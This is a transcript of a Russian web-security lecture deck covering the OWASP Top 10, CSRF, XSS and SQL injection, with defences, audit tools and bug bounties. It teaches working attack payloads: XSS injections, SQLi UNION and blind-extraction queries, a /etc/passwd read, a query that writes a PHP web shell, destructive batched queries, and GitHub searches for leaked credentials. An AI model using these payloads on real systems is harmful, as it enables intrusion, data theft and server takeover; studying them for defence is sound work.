Максим Кочкин (wamba)
TRANSCRIPT
![Page 1: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/1.jpg)
Web application securityМаксим Кочкин
![Page 2: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/2.jpg)
OWASP TOP-10 (2013)1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards
![Page 3: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/3.jpg)
Сводная статистика по распространенности угроз
Угроза Подвержено сайтов, %
WhiteHat (2013)
Cenzic (2013)Contextis
(2013)Avg
XSS 53 60 56 56
SQL Injection 7 20 14 14
CSRF 26 22 34 27
Information Leakage 55 36 60 50
Authentication & authorization11 56 60 42
![Page 4: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/4.jpg)
Реальность от WHID (март 2014)
Атака От общего числа, %
XSS 7
SQL Injection 18
CSRF 2
Denial of Service 20
Brute Force 4
https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
![Page 5: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/5.jpg)
CSRFExploitability AVERAGE
Prevalence COMMON
Detectability EASY
Impact MODERATE
![Page 6: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/6.jpg)
Cross-Site Request Forgery(WASC-09)
Атака, при которой жертва без согласия выполняет от своего имени запрос.Другими словами, атакующий может управлять некоторыми действиями жертвы в свою пользу.
![Page 7: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/7.jpg)
Cross-Site Request ForgeryАтака
● на сайте есть действие «подарить подарок»● действие выполняется ajax-запросом при клике по
ссылке, параметр — id получателя● но на самом деле достаточно обычного GET-запроса ● жертве подбрасывается ссылка
- напрямую: в мессенджере, в блоге, по почте, …- укороченная — скрыть payload- на сайте атакующего: картинка или подготовленная форма
![Page 8: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/8.jpg)
Cross-Site Request ForgeryАтака, простейшие варианты
GET http://goo.gl/d0LUAg
<img src="[GET request]">
<form action="[url]" method="post">...</form><script>form.submit()</script>
![Page 9: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/9.jpg)
Cross-Site Request ForgeryПростые правила
GET — только для получения данныхДля изменения данных — POST, PUT, DELETE
(это не защита!)
![Page 10: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/10.jpg)
Cross-Site Request ForgeryЗащита
Ненадежные способы
● принимать только POST● HTTP_REFERER● подтверждение вторым запросом● многошаговый процесс
![Page 11: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/11.jpg)
Cross-Site Request ForgeryЗащита
● токен- сессионный токен (Synchronizer Token)- двойная отправка куки (Double Submit Cookies)- зашифрованный токен (Encrypted Token)
● подтверждение (пароль, капча)● Origin (request header) (не путать с CORS)
[https://wiki.mozilla.org/Security/Origin]- iframe, embed, applet, script, form, XHR, redirect
![Page 12: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/12.jpg)
Cross-Site Request ForgeryАудит
● w3af [http://w3af.org/plugins/audit/csrf] — только схема с куками.
● Arachni [http://www.arachni-scanner.com/] — 4-этапная проверка, умеет отличать формы, которые отображаются только для залогиненных юзеров, проверяет куки и токены.
● Руками и глазами.
![Page 13: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/13.jpg)
Cross-Site Request ForgeryLogout
CSRF на logout? R U serious? Ahahaha!Oh, wait…
http://superlogout.com/
Я знаю как минимум один сайт, для которого это — реальная проблема: odnoklassniki.ru :)
![Page 14: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/14.jpg)
XSSExploitability AVERAGE
Prevalence VERY WIDESPREAD
Detectability EASY
Impact MODERATE
![Page 15: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/15.jpg)
Cross-Site Scripting(WASC-08)
Атака, при которой атакующий через уязвимость заставляет выполняться свой код в браузере жертвы.
Браузер может быть встроен в ПО и иметь доступ к его компонентам.
Обычно код — JS, но также возможно выполнение VBScript, ActiveX, Java, Flash и других поддерживаемых браузером технологий.
![Page 16: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/16.jpg)
Cross-Site ScriptingУгроза
● фишинг● кража сессии (если куки не httponly)● кража пользовательских данных жертвы со
страниц● выполнение нежелательных действий от
имени жертвы (обход CSRF-защиты)
![Page 17: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/17.jpg)
Cross-Site ScriptingТипы
● TYPE 1 — отражённая (non-persistent, reflected)
● TYPE 2 — хранимая (persistent, stored)● TYPE 0 — DOM-based
![Page 18: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/18.jpg)
Cross-Site ScriptingTYPE 1, отражённая
● формируется запрос с пользовательскими данными userdata
● в ответе данные userdata встраиваются в HTML без надлежащей фильтрации
Чаще всего это● заполнение полей формы в случае ошибки● вывод поискового текста в форме поиска
![Page 19: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/19.jpg)
Cross-Site ScriptingTYPE 1, отражённая
<div id="pager"> <a href="{{url}}">{{pageNum}}</a></div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager"><a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42</a></div>
![Page 20: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/20.jpg)
Cross-Site ScriptingTYPE 1, отражённая
<div id="pager"> <a href="{{url}}">{{pageNum}}</a></div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager"><a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42</a></div>
![Page 21: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/21.jpg)
Cross-Site ScriptingTYPE 1, отражённая
<div id="pager"> <a href="{{url}}">{{pageNum}}</a></div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager"><a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42</a></div>
![Page 22: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/22.jpg)
Cross-Site ScriptingTYPE 2, хранимая
● пользовательские данные сохраняются в БД без надлежащей фильтрации
● в дальнейшем эти данные выводятся на HTML страницу из БД без надлежащей фильтрации
![Page 23: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/23.jpg)
Cross-Site ScriptingTYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"></div>
![Page 24: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/24.jpg)
Cross-Site ScriptingTYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"></div>
![Page 25: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/25.jpg)
Cross-Site ScriptingTYPE 3, DOM-based
Атака полностью реализуется на клиенте без участия сервера
● пользователь вводит данные в URL или на страницу (формы)
● эти данные используются клиентом (JS приложением) для построения HTML страницы без надлежащей фильтрации
![Page 26: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/26.jpg)
Cross-Site ScriptingTYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;var r=document.URL.substring(pos,document.URL.length)document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
![Page 27: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/27.jpg)
Cross-Site ScriptingTYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;var r=document.URL.substring(pos,document.URL.length)document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
![Page 28: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/28.jpg)
Cross-Site ScriptingTYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;var r=document.URL.substring(pos,document.URL.length)document.write('Hello, '+r+'!');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
![Page 29: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/29.jpg)
Cross-Site ScriptingМеры предотвращения
Правила OWASPhttps://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
ESAPI (The OWASP Enterprise Security API)https://code.google.com/p/owasp-esapi-java/https://code.google.com/p/owasp-esapi-php/https://code.google.com/p/owasp-esapi-python/
httponly куки
CSP (Content Security Policy)
![Page 30: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/30.jpg)
Cross-Site ScriptingCSP
CSP — Content Security Policy [Google, Mozilla]http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html
Кто уже поддерживает?http://caniuse.com/#feat=contentsecuritypolicy
Кто уже использует? (из alexa top-25)- mail.yandex.ru, e.mail.ru, facebook.com
![Page 31: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/31.jpg)
Cross-Site ScriptingCSP: пример
HTTP Response Header
Content-Security-Policy: default-src 'none' script-src 'self' http://*.my.com apis.google.com; style-src http://static.mysite.com:81; img-src *://cdn.somecdn.com; connect-src 'self' http://api.mysite.com; object-src 'none'; report-uri /report_endpoint;
![Page 32: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/32.jpg)
Cross-Site ScriptingАудит
OWASP ZAP[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project]прокси с последующим анализом логов.
OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER]
очень умный, гибко настраивается, многое умеет.
w3af [http://w3af.org/plugins/audit/xss]
![Page 33: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/33.jpg)
SQL InjectionExploitability EASY
Prevalence COMMON
Detectability AVERAGE
Impact SEVERE
![Page 34: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/34.jpg)
SQL Injection(WASC-19)
Атака на ПО, использующее входные данные для построения SQL-запросов, при которой атакующий изменяет логику выполнения SQL-запроса к БД.
В некоторых случаях атака способна привести к выполнению команд ОС и захвату системы.
![Page 35: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/35.jpg)
SQL InjectionПростейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
![Page 36: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/36.jpg)
SQL InjectionПростейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
![Page 37: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/37.jpg)
SQL InjectionСхема атаки
● поиск точки, использующей пользовательские данные в SQL-запросе
● выполнение фингерпринтинга СУБД● поиск уязвимости, позволяющей выполнить
атаку● эксплуатация уязвимости
![Page 38: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/38.jpg)
SQL InjectionФингерпринтинг СУБД
● сообщения об ошибках на страницах● баннер (version(), @@version)
- SELECT version() --> 5.6.12-56 ● диалект SQL
- MySQL: WHERE id = 1 /*!50067 AND 47=47 */- PostgreSQL: AND 82::int=82
● поведение некоторых функций● вакансии или собеседование :)
![Page 39: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/39.jpg)
SQL InjectionЭксплуатация
Типы● обычная инъекция — по выводимым ошибкам● инъекция вслепую (Blind Injection) — вывод ошибок
отключен
Техники● UNION● batched запросы● boolean-based blind● time-based blind
![Page 40: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/40.jpg)
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 and 1=1 -- OKquery.php?id=1 and 1=2 -- error
![Page 41: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/41.jpg)
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 order by 1 -- OKquery.php?id=1 order by 2 -- OKquery.php?id=1 order by 3 -- OKquery.php?id=1 order by 4 -- error!
![Page 42: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/42.jpg)
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]Age: 3
![Page 43: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/43.jpg)
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]Age: 3
![Page 44: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/44.jpg)
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=-1 union all select version(), user(), database()
Name: 5.0.0-42 [root@localhost]Age: Main
![Page 45: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/45.jpg)
SQL InjectionПримеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select concat(version(),char(58),user(),char(58),database())
Name: 5.0.0-42:root@localhost:Main
![Page 46: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/46.jpg)
SQL InjectionПримеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select load_file('/etc/passwd')
query.php?id=-1union all select '<?php system($_GET["cmd"]); ?>' into outfile '/www/cmd.php'
![Page 47: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/47.jpg)
SQL InjectionПримеры: batched queries
SELECT a FROM table WHERE id={$id}
query.php?id=1;drop table ...query.php?id=1;drop user ...query.php?id=1;create user ...query.php?id=1;grant all privileges on ...
query.php?id=1;select ... into outfile ...
![Page 48: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/48.jpg)
SQL InjectionПримеры: boolean-based blind
SELECT a FROM table WHERE id={$id}
query.php?id=1 and ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A
D — номер БД в таблице schemataN — номер очередного символаA — ASCII-код символа
select schema_name from information_schema.schemata — имя БДmid(dbname, N, 1) — один символ имениord(char) — ASCII-код, удобнее сравнивать
![Page 49: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/49.jpg)
SQL InjectionПримеры: time-based blind (double blind)
SELECT a FROM table WHERE id={$id}
query.php?id=1 or if(ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A, sleep(S), true)
S — в зависимости от нормального времени отклика сайта
Основа — как в boolean-based blind
if (bingo, sleep(S), true) — если bingo, то +S секунд к отклику
![Page 50: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/50.jpg)
SQL InjectionЗащита и превентивные меры
● связывание параметров (prepared statements, биндинг, параметризованные запросы) с экранированием значений
- SELECT * FROM table WHERE columna=? AND columnb=?● файрволлы (детекция попыток фингерпринтинга и
эксплуатаций) — NAXSI, ModSecurity● разграничение прав доступа
- user: SELECT, INSERT, UPDATE, …- superuser: CREATE, DROP, ALTER, …
● валидация и фильтрация всего :)
![Page 51: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/51.jpg)
SQL InjectionАудит
sqlmap [http://sqlmap.org/] — умеет всё.
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, …
Знает массу техник исследования и эксплуатации.
Да, умеет полноценно эксплуатировать вплоть до сливания полного дампа БД.
Вряд ли вам понадобится другой инструмент.
![Page 52: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/52.jpg)
Зачем нам всё это знать?
Чтобы понимать: одна маленькая ошибка может стоить бесконечно дорого.
Чтобы понимать, откуда ВНЕЗАПНО может прийти беда.
Чтобы уметь разрабатывать инструменты противодействия.
Чтобы уметь пользоваться инструментами и писать безопасный код.Ну и просто потому что это круто :)
![Page 53: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/53.jpg)
P.S.
![Page 54: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/54.jpg)
Bug bounty программы
Когда у тебя огромная кодовая база, изменяющаяся с дикой скоростью, невозможно уследить за всем.
Bug bounty программа хорошо конвертирует blackhats в whitehats.
Список таких программ
https://bugcrowd.com/list-of-bug-bounty-programs/
Вознаграждения — от маечки до $20000 и больше (например, у Facebook нет верхней границы)
![Page 55: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/55.jpg)
Wamba Bug Bounty
http://corp.wamba.com/ru/developer/security/
Вознаграждения● критичные сервисы — от 5 000 до 100 000 руб.● прочие сервисы — от 3 000 до 25 000 руб.● зал славы
![Page 57: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/57.jpg)
Приложение
![Page 58: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/58.jpg)
Атаки на браузеры
http://html5sec.org/
Теперь не только <script> и <img onerror/>
Сотни способов выполнить js-код на клиенте, используя баги или особенности работы с HTML в некоторых браузерах.
![Page 59: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/59.jpg)
Атаки на браузеры
cookie-bomb (by @homakov)http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html
RFC2109: A Set-Cookie from request-host x.foo.com for Domain=.foo.com would be accepted.
Если я могу выполнять код на x.foo.com, я могу ставить куки на .foo.com.
1 кука = 4кБ, а мы можем поставить сотни кук.
400кБ+ заголовков — веб-сервер просто не отвечает.
Итого: DoS сервиса (не всего, для юзера) куками
![Page 60: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/60.jpg)
Социальная инженерия
Self-XSShttps://www.facebook.com/selfxss
![Page 61: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/61.jpg)
Социальная инженерия
Chunkhost и Sendgrid (март 2014)https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid
Как в старые добрые времена● хакер покупает домен chunkhost.info● звонит в поддержку sendgrid и просит сменить мыло
[email protected] ● на [email protected], поддержка говорит ОК (wtf?)● хакер включает в sendgrid фичу BCC, инициирует сброс паролей
пары акков на chunkhost, получает копию писем со ссылкой для сброса
● аккаунты и слив репутации chunkhost спасает только двухфакторная аутентификация на этих акках
![Page 62: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/62.jpg)
Социальная инженерияCSS-Tricks и Media Temple (март 2014)http://shoptalkshow.com/episodes/special-one-one-hacker/
Как в еще более старые добрые времена● хакер звонит в поддержку MT и просит поменять email от акка
Криса, потому что, якобы, не помнит его● поддержка говорит «ок, только пришлите скан своих документов»● хакер подделывает документы и получает акк (sic!)● кроме этого захватывает пачку других сайтов● чувак говорит, что мог бы захватить jquery.com (тоже хостится на
MT) и заразить исходники, которые используются на тысячах сайтов
● еще чувак говорит, что ничего не понимает в этих ваших sql-инъекциях и прочей ерунде, но ему это и не нужно :)
![Page 63: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/63.jpg)
Github, пароли в репозиториях
DB config (PHP)https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code
≈60000
AWS private keyhttps://github.com/search?q=AKIAJ&type=Code&ref=searchresults
≈1000
RSA private keyhttps://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY---%22&ref=searchresults&s=indexed&type=Code
≈44000
![Page 64: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/64.jpg)
DOM-based XSS
https://code.google.com/p/domxsswiki/
http://www.domxss.com/domxss/
![Page 65: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/65.jpg)
SQL Injection
http://websec.ca/kb/sql_injection
http://www.sqlinjectionwiki.com/
http://www.blackhatlibrary.net/SQL_injection
http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about-sql.html
![Page 66: Максим Кочкин (Wamba)](https://reader037.vdocuments.mx/reader037/viewer/2022100304/5555a98ad8b42afe5d8b46b7/html5/thumbnails/66.jpg)
Потренироваться
http://testphp.vulnweb.com (Acunetix)
http://testasp.vulnweb.com (Acunetix)
http://testaspnet.vulnweb.com (Acunetix)
http://testhtml5.vulnweb.com/ (Acunetix)
http://demo.testfire.net (IBM)
http://zero.webappsecurity.com (HP)
http://crackme.cenzic.com (Cenzic)
http://www.webscantest.com (NTO)
http://www.dvwa.co.uk/ (RandomStorm, offline)
https://code.google.com/p/webgoat/ (OWASP, offline)